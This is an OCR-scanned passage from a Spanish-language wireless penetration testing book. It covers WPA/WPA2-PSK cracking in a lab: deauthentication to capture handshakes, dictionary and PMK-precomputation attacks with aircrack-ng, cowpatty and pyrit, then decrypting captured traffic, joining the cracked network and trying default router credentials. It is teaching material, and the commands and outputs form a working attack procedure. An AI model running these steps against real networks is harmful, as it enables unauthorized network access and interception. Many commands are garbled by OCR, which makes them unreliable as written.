Rate: Best (automatic) - (Mbit/s)
Channel width : 20 MHz
Visibility Status : @ Visible ¢

Invisible

WIRELESS SECURITY MODE

To protect your privacy you can configure wireless security features. This device supports three
wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original
wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not
require an authantication server. The WPA-Enterprise option requires an axternal RADIUS sarver.

Security Mode : WPA-Personal  ~

Use WPA or WPA2 mode to achieve a balance of strong security and best compatibiity. This
mode uses WPA for legacy clents whie maintaining higher security with stations that are WPA2
capable. Also the strongest cipher that the client supports will be used. For best security, use
WPA2 Only mode. This mode uses AES(CCMP) cipher and legacy stations are not alowed access
wiith WPA security, For maximum compatibility, use WPA Only. This mode uses TKIP cipher.
Some gaming and legacy devices work only in this mode.

To achieve better wireless performance use WPA2 Only security mode (or in other words AES
cipher).

WPA Mode :  WPA Only =
Cipher Type :  TKIP -
Group Key Update Interval 1 3500 (seconds)

PRE-SHARED KEY

Enter an 8- to 63-character alphanumeric pass-phrase. For good security it should be of ample
length and should not be a commonly known phrase.

Pre-Shared Key : ssssssse

WIRELESS



2. Iniciamos airodump-ng con el comando airodump-ng -bssid 00:21:91:D2:8E:25 -
channelll -writeWPACrackingDemo monO para comenzar a capturary almacenar todos los
paquetes de nuestra red:

Session Edit Wiew Bookmarks Settings Help

CH 11 1[ Elapsed: 0 s ][ 2011-02-06 03:31
BSSID PWR RXQ Beacons #Data, #/s CH MB  ENC CIPHER AUTH ESSID

©0:21:91:D2:8E:25 -19 83 27 o] ©@ 11 54 . WEP WEP Wireless Lab

BSSID STATION PWR Rate Lost Packets Probes

3. Ahora podemos esperar a que un nuevo cliente se conecte al punto de acceso para que podamos
capturar el apreton de manos WPA de cuatro vias o podemos enviar una difusion de autenticacion de

paquetes para obligar a los clientes a volver a conectarse. Nosotros hacemos lo ultimo para acelerar
las cosas:

root@bt: ~ - Shel
Session Edit View Bookmarks Settings Help
:~# aireplay-ng --deauth 1 -a 00:21:91:D2:8e:25 mon@ =

07:29:09 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
07:29:09 Sinding DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
—#

4. Tan pronto como se captura de un apretén de manos WPA, airodump-ng va haindicar en la

esquina superior derecha de la pantalla como WPA Handshake : seguido por BSSID del punto de
acceso:

root@bt: ~ - Shell - Konsole <3>
Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 11 mins ][ 2011-02-06 07:17 ][ WPA handshake: 00:21:91:D2:8E:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -22 96 6116 1709 1 11 54e. WPA TKIP PSK Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -9 0 -54e 8 40 Wireless Lab

5. Podemos parar airodump-ng ahora. Vamos a abrir el archivo . pcap en Wireshark y ver el
saludo de cuatro vias. Su terminal de Wireshark debe verse como la siguiente captura de pantalla. He
seleccionado el primer paquete de la saludo de cuatro vias del archivo, en la siguiente captura de
pantalla. Los paquetes del apretén de manos son unas de cuyo protocolo es la clave EAPOL:

dex-01.cap - Wireshark L)
Fle Edt View Go ture  Analyze  Statist Help
B e HXa NedwFE [E] R Sl
[ | | 4 Exprossion | L] ;'-av| epo)y|
No.. |Tme [source [Destination [Protocol [info E

2639 101.345668 IntelCor_35:(c:dd
2840 181345692
1 18).347205 D-Link_d2:8:25

D-Link d2:86:28

396420 Intelcor_3S:fciaa
.357444
28% 181.398420 Intelcor_3S:{ciaa
2851 181, 359496
2852 181.398404 Intelcor 35:icida

Frame 7843 (133 bytes on wire, 133 bytes coptured)
IEEE 802.11 QoS Data, Flags: ......| F.
Logical-Link Control
802.1X Authentication
Version; 1
Type: Key (3)

Length: 95

Doscriptor Type: EAPOL WPA key (284)

key Information: 0x0089

Key Length: 32

Replay Counter: 42

Nonce: 0D2B3I3Z084FFOEOBEFSAD000BAFDGIEIICHSI0FE087718A. . .
Key TV: DOO0G0G0G0000000000000000G000000

WPA Koy RSC: 0OOOO00000000000

WOA Key M
WoA Key Length: O




6. Ahora vamos a empezar el ejercicio clave de cracking real.Para esto, necesitamos un diccionario de
palabras comunes. Backtrack incluye un archivo de diccionario darcOde.Ist que mostramos en la
siguiente captura de pantalla. Es importante sefialar que el en el cracking de WPA usted es tan bueno
como lo sea su diccionario. Backtrack incluye algunos diccionarios pero estos pueden ser insuficientes.
Las contrasefias que la gente elige dependen de un montén de cosas. Esto incluye cosas como a que
pais pertenecen los usuarios, los nombres comunes y frases en esa region, la conciencia de seguridad
de los usuarios y montdn de otras cosas, esto te puede dar una idea de que palabras deberiamos
agregar al diccionario cuando vamos ha llevar a cabo una prueba de penetracion:

root@bt: ~ - Shell - Konsole <3>

Session Edit View Bookmarks Settings Help

:~# 1s /pentest/passwords/wordlists/darkcode.lst
/pentest/passwords/wordlists/darkc@de.lst

~#

~#

~#

= |

7.Ahora vamos a invocar aircrack-ng con el archivo pcap como entrada y un enlace al archivo de
diccionario como se muestra en la captura de pantalla:

root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookmarks Settings Help

:~# aircrack-ng WPACrackingDemo-01.cap -w /pentest/passwords/wordlists/darkc@de.lst |

8. Aircrack-ng usa el archivo de diccionario para tratar varias combinaciones de frases de pasoy
trata de romper la clave. Si la contrasefia esta presente en el archivo de diccionario, con el tiempo la
rompera y la pantalla sera similar a la de la captura de pantalla:

root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.0 rl645

[00:00:00] 176 keys tested (382.44 k/s)

KEY FOUND! [ ElJesfShie]y ]

Master Key : D6 C1 F1 ES5 BD F5 E8 1A A4 A2 B8 32 F4 08 99 BD
71 5B D6 F3 F1 1A CD 7E 9A B3 7E 36 48 06 8B 01

Transient Key : 1B E5 1B AF B9 CE 80 EB 5C 52 FA EF 1E 24 9D (4
39 2E 30 8C AS A8 7B 90 4C 7A C4 6F BF @D BE C6
4B DD 6B BB 28 02 38 6B 3A B4 D5 47 AF 92 F6 62
C1 99 2C 02 98 52 5A F7 12 3A C7 65 8E DF 7E A5

EAPOL HMAC : FE 3D 3C OF 8E 65 OF 2C CD 37 74 62 1A FB 1F 02
—#

9. Terlga en cuenta que, al tratarse de un ataque de diccionario, el requisito previo es que la frgse de

paso debe estar presente en el archivo de diccionario que esta suministrando a aircrack-ng. Sila

contrasefia no estd presente en el diccionario, el ataque fallara!




¢Qué ha pasado?

Hemos creado una contraseiia comun abcdefgh en nuestro punto de acceso con WPA-PSK. A continuacién,
utilizamos un ataque de de-autenticacidn de los clientes legitimos instandoles a volver a conectarse al punto de
acceso. Cuando vuelven a conectar, capturamos el saludo de cuatro vias WPA entre el punto de acceso y el
cliente.

Como WPA-PSK es vulnerable a un ataque de diccionario, vamos a alimentar el archivo de captura que contiene
el apreton de manos WPA de cuatro vias y una lista de frases comunes (en forma de una lista de palabras) para
aircrack-ng. Enla medida en que la frase abcdefgh estd presente en la lista de palabras, aircrack-ng es
capaz de romper la contrasefia compartida WPA-PSK. Es muy importante sefialar de nuevo que el cracking WPA
basado en diccionarios, es tan bueno como el diccionario que tiene. Por lo tanto, es importante elaborar un
diccionario grande y elaborado antes de empezar. Aunque BackTrack viene con su propio diccionario, puede ser
insuficiente y a veces se necesitan mds palabras, sobre todo basadas en el factor de localizacion.

Inténtalo- Romper la seguridad WPA-PSK con Cowpat

Cowpatty es una herramienta, que también puede descifrar una contrasefia WPA-PSK con un ataque de
diccionario. Esta herramienta se incluye con BackTrack. Lo dejo como ejercicio usar Cowpatty para romper la
contrasefia WPA-PSK.

Ademas, trate de establecer una contrasefia comun, no presente en el diccionario y tratar de hacer el ataque de
nuevo. Ahora no tendra éxito en romper la frase de paso, tanto con Aircrack-ng cOmo con Cowpatty.

Es importante sefialar que, el mismo ataque, se aplica incluso a una red WPA2-PSK. Les animo a comprobarlo de
manera independiente.

Aceleracion de cracking WPA/WPA2 PSK

Ya hemos visto en el apartado anterior que si tenemos la contrasefia correcta en nuestro diccionario, el cracking
de WPA-Personal trabajara cada vez a las mil maravillas. Entonces ¢ por qué no nos limitamos a crear un
diccionario de las mas elaboradas de millones de contrasefias comunes y el uso de frases que la gente? Esto nos
ayudaria mucho, nos ahorrariamos la mayoria del tiempo y terminaria con el craqueo de la contrasefia. Todo
suena muy bien, pero nos falta el componente contrasefia-tiempo empleado. Uno de los célculos que mas CPU
consume y lleva mucho tiempo es el de la Pre-Shared Key utilizando la frase de contrasefia PSK y el SSID en la
PBKDF2. La funcién hash combina ambos mas de 4096 veces antes de la salida de la Pre-Shared Key 256 bits. El
siguiente paso implica el uso de romper esta clave junto con los pardmetros del saludo de cuatro vias y verificar
contra el MIC en el apreton de manos. Este paso es computacionalmente barato. Ademas, los parametros
pueden variar en el apretén de manos cada vez y por lo tanto, este paso no puede ser pre-calculado. Asi, para
acelerar el proceso de craqueo necesitamos hacer el célculo de la Pre-Shared Key de la frase de paso lo mas
rapido posible.

Podemos acelerar este proceso de pre-célculo de la Pre-Shared Key, también llamado Pairwise Master Key (PMK),
en el lenguaje estandar 802.11. Es importante sefialar que el SSID también se utiliza para calcular el PMK, con la
misma frase, pero con un SSID diferente, que podria terminar con una PMK diferentes. Por lo tanto, el PMK
depende tanto de la contrasefia como del SSID.

En el siguiente ejercicio, vamos a ver como calcular previamente el PMKy lo utilizarlo para romper la
seguridad WPA/WPA2



Parte practica — Acelerando el proceso de crackeo

1.Podemos calcular previamente el PMK para un SSID determinado vy lista de palabras utilizando la
herramienta genpmk con el comando genpmk -f
/pentest/passwords/wordlists/darkcOde.lst -d PMK-Wireless-Lab -s
"Wireless Lab" como se muestra en la siguiente captura de pantalla. Esto crea el archivo PMK-
Wireless-Lab que contiene el PMK pre-generado:

:~# genpmk -f /pentest/passwords/wordlists/darkc@de.lst -d PMK-Wireless-Lab -s "Wireless Lab"
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hashorg.com>
File PMK-Wireless-Lab does not exist, creating.

key no. 1000: 012iheén

key no. 2000: 076mi714n

key no. 3000: 0don746124

key no. 4000: Opini@n47iv3n355
key no. 5000: 0v31212i67

key no. 6000: Ov312bu9

key no. 7000: Ovi6312m

key no. 8000: 1 ARSENIAN

key no. 9000: 1 BEVERLE

key no. 10000: 1 BUDROS

key no. 11000: 1 CIAGLO

key no. 12000: 1 DELLER

key no. 13000: 1 ELSBERND
key no. 14000: 1 FUMAGALLI
key no. 15600: 1 GROENSTEIN
key no. 16000: 1 HESSELGREN
key no. 17000: 1 JONATHON
key no. 18000: 1 KOJNOK
key no. 19000: 1 LESKAR
key no. 20000: 1 MARIJKE
key no. 21000: 1 MISSIMER
key no. 22000: 1 NOGALES
key no. 23000: 1 PETCHY

2. Ahora crear una red WPA-PSK con la contrasefia sky sign (presente en el diccionario que
utilizaremos) y capturar un WPA-handshake de la red. Ahora usamos Cowpatty para romper la
contrasefia WPA, como se muestra en la siguiente pantalla:

:~# cowpatty -d PMK-Wireless-Lab -s "Wireless Lab" -r WPACrackingDemo2-01.cap
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com>

ICollected all necessary data to mount crack against WPA/PSK passphrase.
IStarting dictionary attack. Please be patient.
key no. 10000: 1 BUDROS

key no. 20000: 1 MARIJKE

key no. 30000: 1 ZAHRAH

key no. 40000: 12h9nchep5

key no. 50000: 11191770127
key no. 60000: 3 SALOMON

key no. 70000: 4116m@12phiSm
lkey no. 80000: 4nd4p707ic

key no. 90000: 53p4124b13

key no. 100000: 5inklik3

key no. 110000: 6141231355
key no. 120000: 73n3bl2i@nid
key no. 130000: Alice Duer
key no. 140000: Bengal rose
key no. 150000: Campbell's
key no. 160000: DAVE PEABOY
key no. 170000: Euphrates

key no. 180000: Goodarzi

key no. 190000: IMPORTANT

key no. 200000: Kleanthes

key no. 210000: MARK KING

key no. 220000: Motorhead

key no. 230000: PR0O-200\6

key no. 240000: RON AFFIF

key no. 250000: Scarborough
key no. 260000: Susanvictoria




3. Se tarda aproximadamente 7,18 segundos con Cowpatty obtener la clave, utilizando la PMK pre-
calculada como se muestra en la captura de pantalla:

- m root@bt: ~ - Shell - Konsole

session Edit View Bookmarks Settings Help

key no. 780000: minet-rdm-mil-tac
key no. 790000: mortify

key no. 800000: nonmd47h3m47icidn
key no. 810000: newparis

key no. 820000: obererei

key no. 830000: onkuisheid

key no. 840000: ossequiosi

key no. 850000: pl23d374chm3n?7
key no. 2= PS5 13
key no. 870000: passeque

key no. 880000: persecutusque
key no. 890000: pinking iron

key no. 900000: portenderatisque
key no. 910000: presentandoli
key no. 920000: prosperous

key no. 930000: quarter-phase
key no. 940000: rasentato

key no. 950000: reguleerbare

key no. 960000: rhapsodies

key no. 970000: rimescolati

key no. 980000: rivet heater

key no. 990000: sail packet

key no. 1000000: scalerebbe

key no. 1010000: scredita

key no. 1020000: sentence structure
key no. 1030000: shemgang

key no. 1040000: sky sign

The PSK is "sky sign".

1040000 passphrases tested in 7.18 seconds: 144839.60 passphrases/second
= |

4. Ahora usamos aircrack-ng con el archivo de mismo diccionario y el proceso de craqueo toma
mas de 22 minutos. Esto demuestra lo mucho ha ganando debido al pre-célculo:

: ~ - Shell - Kensole

on Edit View Bookmarks Settings Help

Aircrack-ng 1.1 rl738
[00:22:35] 979604 keys tested (720.76 k/s)
KEY FOUND! [ sky sign ]
Master Key : D3 E1 F7 D6 17 2C 8C AA AO 04 BB 76 14 24 37 9D
5F BF 76 4E A3 CF 7F 48 71 23 19 76 CO B3 18 66
Transient Key : 87 C8 AF 1E FB 30 7F 7D 44 EB 6B 1E 72 8B DA CE
DA 72 C1 AC 98 5D 40 9C 9C AD 40 7E 86 64 3B 79
F7 BB 13 38 61 FO D3 BE 9A 33 29 16 DC F8 A4 1B
€3 8C 7B 52 6F 2E BO D4 D9 42 C9 4C 24 42 30 D2

EAPOL HMAC : 34 5C E5 68 7B 1C 2F 5C D7 B7 5B 50 A2 A3 E3 86
|

5. Con el fin de utilizar estos PMKs con aircrack-ng, tenemos que usar una herramienta llamada
airolib-ng. Le daremos las opciones airolib-ng PMK-Aircrack - import cowpatty
PMK-Wireless-Lab, donde PMK-Aircrack es la base de datos compatible con aircrack-ng que
se creard y PMK-Wireless-Lab es la base de datos compatible con genpmk PMK que habiamos
creado previamente:

root@bt: . 2 - Konsole

n Edit View Bookmarks Settings Help

:~# airolib-ng PMK-Aircrack --import cowpatty PMK-Wireless-Lab
Database <PMK-Aircrack> does not already exist, creating it...
Database <PMK-Aircrack> successfully created
Reading header...

Reading...
Updating references...
Writing...




6. Ahora alimentar la base de datos para aircrack-ngy la velocidad del proceso de craqueo se
hard notable. El comando que usado es aircrack-ng -r PMK-Aircrack WPACrackingDemo2-
01.cap:

root@bt: ~ - Shell No. 2 - Konsale

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.1 r1738
[00:00:26] 1039995 keys tested (39519.65 k/s)
KEY FOUND! [ sky sign ]
Master Key : D3 E1 F7 D6 17 2C 8C AA A0 04 BB 76 14 24 37 9D
5F BF 76 4E A3 CF 7F 48 71 23 19 76 CO0 B3 18 66
Transient Key : 87 C8 AF 1E FB 30 7F 7D 44 EB 6B 1E 72 8B DA CE
DA 72 C1 AC 98 5D 40 9C 9C AD 40 7E 86 64 3B 79
F7 BB 13 38 61 FO D3 BE 9A 33 29 16 DC F8 A4 1B
€3 8C 7B 52 6F 2E BO D4 D9 42 C9 4C 24 42 30 D2

EAPOL HMAC : 34 5C E5 68 7B 1C 2F 5C D7 B7 5B 50 A2 A3 E3 86

Quitting aircrack-ng...
~#

7. Hay otras herramientas disponibles en BackTrack como, Pyrit que puede aprovechar los sistemas
multi-CPU para acelerar el cracking. Damos el nombre de archivo pcap con la opcién -ry lo
complementamos con genpmk con el archivo PMK con la opcién -i. Incluso en el mismo sistema en
que utilizamos las herramientas anteriores, Pyrit toma alrededor de tres segundos en obtener la
clave, utilizando el archivo creado PMK con genpmk como se muestra en la siguiente pantalla:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help
:~# pyrit -r WPACrackingDemo2-61.cap -i PMK-Wireless-Lab attack_ cowpatty

Pyrit 0.3.1-dev (svn r280) (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'WPACrackingDemo2-01.cap' (1/1)...
Parsed 10 packets (10 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:21:91:d2:8e:25 automatically...
Tried © PMKs so far; 0 PMKs per second.

Tried 1179380 PMKs so far; 452746 PMKs per second.
The password is 'sky sign'.

#

~#11

¢0ué ha pasado?

Estudiamos varias herramientas y técnicas para acelerar el hacking WPA/WPA2-PSK. La idea es calcular
previamente el PMK para un SSID determinado y una lista de frases en nuestro diccionario.

Descifrar paguetes WEP y WPA

En todos los ejercicios, que hemos hecho hasta ahora, hemos roto las claves WEP y WPA usando varias técnicas.
Pero, équé hacemos con esta informacidn? El primer paso seria la de descifrar paquetes de datos que hemos
capturado utilizando estas claves.

En el siguiente ejercicio, vamos a descifrar los paquetes WEP y WPA en la trama del mismo archivo que capturd
utilizando las claves que rompimos.



Parte practica — Descifrando pagquetes WEP y WPH

1.  Vamos a descifrar paquetes del mismo archivo de captura WEP que hemos creado antes
WEPCrackingDemo-01.cap. Paraello, vamos a utilizar otra herramienta de la suite
Aircrack-ng llamada airdecap-ng.Corremos el siguiente comando como se muestra en
la siguiente captura de pantalla: airdecap-ng -w abcdefabcdefabcdefabedefl2
WEPCrackingDemo-01.cap, utilizando la clave WEP que rompimos con anterioridad:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help
:~# airdecap-ng -w abcdefabcdefabcdefabcdefl2 WEPCrackingDemo-01.cap
Total number of packets read 7171
Total number of WEP data packets 4368
Total number of WPA data packets [}
Number of plaintext data packets ]
Number of decrypted WEP packets 4368
Number of corrupted WEP packets ]
Number of dicrypted WPA packets ]
He 3

2. Los archivos desencriptados se almacenan en un archivo llamado WEPCrackingDemo-01-
dec.cap. Nosotros usamos la utilidad tshark para ver los primeros diez paquetes del archivo.
Tenga en cuenta que es posible ver resultados diferentes en funcién de lo que ha capturado:

root@bt: ~ - Shell - Konsole

S Al D] Bockmerks Settings Help

:~# tshark -r WEPCrackingDemo-81-dec.cap -c 10 e
Running as user "root" and group "root". This could be dangerous.
1 0.000000 D-Link d2:8e:25 -> Broadcast  ARP Who has 192.168.0.1987 Tell 192.168.0.1
2 0.003657 192.168.0.198 -> 192.168.0.1 ICMP Echo (ping) request (id=6x2413, seq(be/le)=1/256, t
t1=64)
3 0.003657 Alfa_3e:bd:93 -> D-Link d2:8e:25 ARP 192.168.0.198 is at 00:cB:ca:3e:bd:93
4 0.004662 192.168.6.1 -> 192,168.0.198 ICMP Echo (ping) reply  (id=6x2413, seq(be/le)=1/256, t

t1=64)
5 0.008757 192.168.0.1 -> 192.168.0.198 ICMP Echo (ping) reply  (id=6x2413, seq(be/le)=2/512, t
t1=64)
6 0.012854 192.168.08.1 -> 192.168.0.198 ICMP Echo (ping) reply (id=0x2413, seq(be/le)=3/768, t
t1=64)
7 0.013897 192.168.0.198 -> 192.168.0.1 ICMP Echo (ping) request (id=0x2413, seq(be/le)=2/512, t
t1=64)
8 0.013897 192.168.0.198 -> 192.168.0.1 ICMP Echo (ping) request (id=6x2413, seq(be/le)=3/768, t
t1=64)
9 0.017973 192.168.0.1 -> 192.168.0.198 ICMP Echo (ping) reply  (id=6x2413, seq(be/le)=4/1024,
ttl=64)
10 0.022069 192.168.6.1 -> 192.168.0.198 ICMP Echo (ping) reply  (id=0x2413, seq(be/le)=5/1280,
ttl=64)
¥
~#
~#1

3. WPA/WPA2 PSK funciona exactamente de la misma forma que con WEP utilizando la utilidad
airdecap-ng, como se muestra en la figura siguiente, con el comando airdecap-ng -p
abdefgh WPACrackingDemo-0l.cap -e " Wireless Lab ":

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

hii# airdecap-ng -p abcdefgh WPACrackingDemo-ol.cap -e "Wireless Lab"
Total number of packets read

Total number of WEP data packets ]
Total number of WPA data packets 2896
Number of plaintext data packets [¢]
Number of decrypted WEP packets [¢]
Number of corrupted WEP packets [¢]
Number of decrypted WPA packets 2892

~#

~#

= |




Acabamos de ver, cdmo podemos descifrar paquetes cifrados WEP y WPA/WPA2-PSK con airdecap-ng. Es
interesante notar, que podemos hacer lo mismo con Wireshark. Le animamos a explorar como se puede hacer
mediante la consulta de la documentacién de Wireshark.

Conectandonos a redes WEPy WPA

También se puede conectar a la red autorizada después de haber roto la clave de red. Esto puede venir muy
bien, durante las pruebas de penetracidn. Inicio de sesidn autorizada en la red con la clave crackeada es la tltima
prueba que puede brindar a su cliente de que su red es insegura.

Parte practica — Conectandonos a una red WEP

1. Utilice la utilidad iwconfig para conectarse a una red WEP, una vez que tienes la clave. En un
ejercicio anterior rompimos la clave WEP abcdefabcdefabcdefabecdefl12:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig wlan@ essid "Wireless Lab" key abcdefabcdefabcdefabcdef12
~#
:~# iwconfig wlan@
wlano IEEE 802.11lbg ESSID:"Wireless Lab"
Mode:Managed Frequency:2.412 GHz Access Point: 00:21:91:D2:8E:25
Bit Rate=1 Mb/s Tx-Power=20 dBm
Retry 1long limit:7 RTS thr:off Fragment thr:off
Encryption key:ABCD-EFAB-CDEF-ABCD-EFAB-CDEF-12
Power Management:off
Link Quality=70/70 Signal level=-20 dBm
Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

~#

Lo —#
cQue ha pasado?

Hemos visto como conectarse a una red WEP.

Parte practica - Conectandonos a una red WEP

1.  Enelcaso de WPA, el asunto es un poco mas complicado. La utilidad iwconfig no se
puede utilizar con WPA/WPA2 Personal y Enterprise, ya que no lo soporta. Nosotros
utilizamos una nueva herramienta llamada wpa supplicant para esta préctica. Para
usar wpa_supplicant enuna red tendremos que crear un archivo de configuracion
como se muestra en la imagen. Vamos a llamar a este archivo wpa-supp.conf:

root@bt
Session Edit View Bookmarks Settings Help

# WPA-PSK/TKIP

network={
ssid="Wireless Lab"
key_mgmt=WPA-PSK
proto=wPA
pairwise=TKIP
group=TKIP
psk="abcdefgh"




2. A continuacién, se invoca la utilidad wpa supplicant con las siguientes opciones: -
Dwext —iwlan0 -cwpa-supp.conf lapara conectarse ala red WPA que rompimos
como ya vimos. Una vez que la conexion se establece, wpa supplicant te mostrara un
mensaje de conexion.

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# wpa_supplicant -Dwext -iwlan@ -c wpa-supp.conf
(CTRL-EVENT-SCAN-RESULTS
Trying to associate with 00:21:91:d2:8e:25 (SSID='Wireless Lab' freq=2412 MHz)
lAssociated with 00:21:91:d2:8e:25
WPA: Key negotiation completed with 00:21:91:d2:8e:25 [PTK=TKIP GTK=TKIP]
CTRL-EVENT-CONNECTED - Connection to 00:21:91:d2:8e:25 completed (auth) [id=0 id_str=]

3. Por tanto una vez que esté conectado con las claves de red WEP y WPA deberia usar dhcpclient3
para conseguir una direccion DHCP de la red como se muestra a continuacion:

root@bt: ~ - Shell No. 3 - Konsole

Edit View Bookmarks Settings Help

:~# dhclient3 wlan@
There is already a pid file /var/run/dhclient.pid with pid 5308
killed old client process, removed PID file
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/

mon@: unknown hardware address type 803
mon@®: unknown hardware address type 803
[Listening on LPF/wlan@/00:cO:ca:3e:bd:93
Sending on LPF/wlan0/00:cO:ca:3e:bd:93
Sending on Socket/fallback
DHCPREQUEST of 192.168.0.198 on wlan® to 255.255.255.255 port 67
DHCPACK of 192.168.0.198 from 192.168.0.1
bound to 192.168.0.198 -- renewal in 37236 seconds.
1 —#
i—#
:~# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=32.2 ms
64 bytes from 192.168.0. icmp_seq=2 ttl=64 time=7.89 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=64 time=9.74 ms
~C
--- 192.168.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avgimax/mdev = 7.893/16.623/32.230/11.062 ms
1 —#

La utilidad predeterminada iwconfig no puede ser utilizada para conectarse a las redes WPA/WPA2. La
herramienta de facto para esto es wpa supplicant. En este laboratorio, hemos visto cémo podemos usarlo
para conectarse a la red WPA.

Examen sorpresa — Fallos de encriptacion de WLAN
1. ¢Qué paquetes se utilizan para la reproduccion de paquetes?
a. Deautenticacion de paquetes
b. Paquete asociado
c. Paquete ARP cifrado

d. Ninguno de los anteriores



2. WEP puede hackeada:

a. Siempre

b. S6lo cuando una clave/contrasefia débil es elegida

c. Sélo en circunstancias especiales,

d. Sélo si el punto de acceso se ejecuta software antiguo
3. WPA puede ser violada:

a. Siempre

b. Sélo cuando una clave/contrasefia débil es elegida

c. Si el cliente tiene firmware antiguo

d. Incluso sin clientes conectados a la red inalambrica

En este capitulo, hemos aprendido lo siguiente acerca del cifrado de WLAN:

WEP es defectuoso y no importa cual sea la clave WEP es decir, con suficientes muestras de paquetes
de datos siempre es posible romper el protocolo WEP.

WPA/WPA2 es criptograficamente no manipulable en la actualidad, sin embargo, bajo circunstancias
especiales, como cuando una frase de contrasefia débil es elegida en WPA/WPA2-PSK, es posible
recuperar la contrasefia utilizando los ataques de diccionario.

En el siguiente capitulo, vamos a ver en diferentes ataques en la infraestructura de WLAN, como
puntos de acceso, evil twin, los ataques bit-flipping y asi sucesivamente.



Ataques a la
infraestructura WLAN

"Por lo tanto, lo que es de suma importancia en la guerra es atacar la estrategia del
enemigo”

Sun Tzu, El Arte de la Guerra

En este capitulo, vamos a atacar el nucleo de la infraestructura de WLAN! Nos

centraremos en cdmo podemos penetrar en la red autorizada mediante el uso de varios
vectores de ataque nuevo, y también cémo podemos atraer a los clientes autorizados a
conectarse a nhosotros, como un atacante. -

La infraestructura WLAN es lo que proporciona servicios inaldmbricos a todos los clientes WLAN en un sistema.
En este capitulo, vamos a ver varios ataques que pueden realizarse contra la infraestructura:

. Cuentas por defecto y credenciales del punto de acceso

. Ataques de denegacion de servicio

. Evil twin y suplantacién de identidad del punto de acceso MAC
. Puntos de acceso renegados (rouge Access points)

Cuentas por defecto y credenciales del punto de acceso

Los puntos de acceso WLAN son los pilares bésicos de la infraestructura. A pesar de que juegan un papel tan
importante, a veces son lo mas descuidado en términos de seguridad. En este ejercicio, vamos a comprobar si las
contrasefias por defecto han sido cambiados en el punto de acceso o no. A continuacidn, vamos a seguir para
verificar que aun cuando las contrasefias se han cambiado, siguen siendo faciles de adivinar y el crack con un
ataque basado en diccionario.

Es importante sefialar que a medida que avanzamos en capitulos mas avanzados, se supone que ha pasado por
los capitulos anteriores y ahora esta familiarizado con el uso de todas las herramientas que se discuten alli. Esto
nos permite aprovechar ese conocimiento y tratar los ataques mas complicados



Parte practica - hacking de cuentas por defecto en el punto de acceso
Siga estas instrucciones para comenzar:

1. Primero vamos a conectar a nuestro de punto de acceso de laboratorio. Vemos que el modelo
del punto de acceso es un D-Link DIR-615 como se muestra en la siguiente captura:

Product Page: DIR-615

Log in to the router:

User Name :  Admin ~
Password :

UIRELESS

Copyright @ 2004-2007 D-Link Systems, Inc.

2. Desde la web del fabricante, nos encontramos con las credenciales de cuenta por defecto
admin esta en blanco, es decir, sin contrasefia. Nosotros tratamos este tema al principio del
libro y nos conectamos con éxito. Esto muestra lo facil que es entrar en las cuentas con las
credenciales por defecto. Sin duda recomendamos descargar el manual de usuario del router de
internet, esto permitira que entiendas de lo que trata la prueba durante la penetracion y que te
hagas una idea de los defectos de configuracién que vamos a comprobar.

Product Page: DIR-615 Hardware Ver: B2 Firmware Versiol

DIR-615 |

WIRELESS SETTINGS

There are two ways to set up your Internet connection: you can use the Web-based Internet
Connection Setup Wizard, or you can manually configure the connection.

before, diick on Internet
Connection Setup

INTERNET CONNECTION SETUP WIZARD leard Erzz the routs
rot

1f you would like to utilize our easy to use Web-based Wizards to assist you in connecting your
new D-Link Systems Router to the Internet, click on the button below.

Internet Connection Setup Wizard

Note: Before launching these wizards, please make sure you have followed all steps outlined in
the Quick Installation Guide included in the package. Setup to input all the
settings manually.

MANUAL INTERNET CONNECTION OPTIONS

If you would like to configure the Internet settings of your new D-Link Systems Router manually,
then click on the button below.

Manual Internet Connection Setup

WIRELESS

Copyright © 2004-2007 D-Link Systems, Inc.

Hemos comprobado que a veces las credenciales por defecto no se cambian en el punto de acceso y esto podria
conducir a comprometer todo el sistema. Ademas incluso si las credenciales por defecto se cambian, no debe
ser algo que sea facil de adivinar ni ejecutando un simple ataque basado en diccionario.



Inténtelo — hacking de cuentas usando ataques de fuerza hruta

En el ejercicio anterior, cambie la contrasefia a algo dificil de adivinar o buscar en un diccionario y vea si se puede
romper con un ataque de fuerza bruta. Limite la longitud y caracteres de la contrasefia, de modo que pueda
tener éxito en algin momento. Una de las herramientas mas comunes que se utilizan para romper la
autentificacion HTTP se llama Hydra disponible en BackTrack.

Atague de denegacion de servicio

Las redes WLAN son propensas a los ataques de denegacion de servicio (DoS) usando varias técnicas, incluyendo
pero no limitadas a:

. Ataque de de-autenticacion

. Ataque de desasociacion

. Ataque CTS-RTS

. Ataque de interferencia del espectro de la sefial

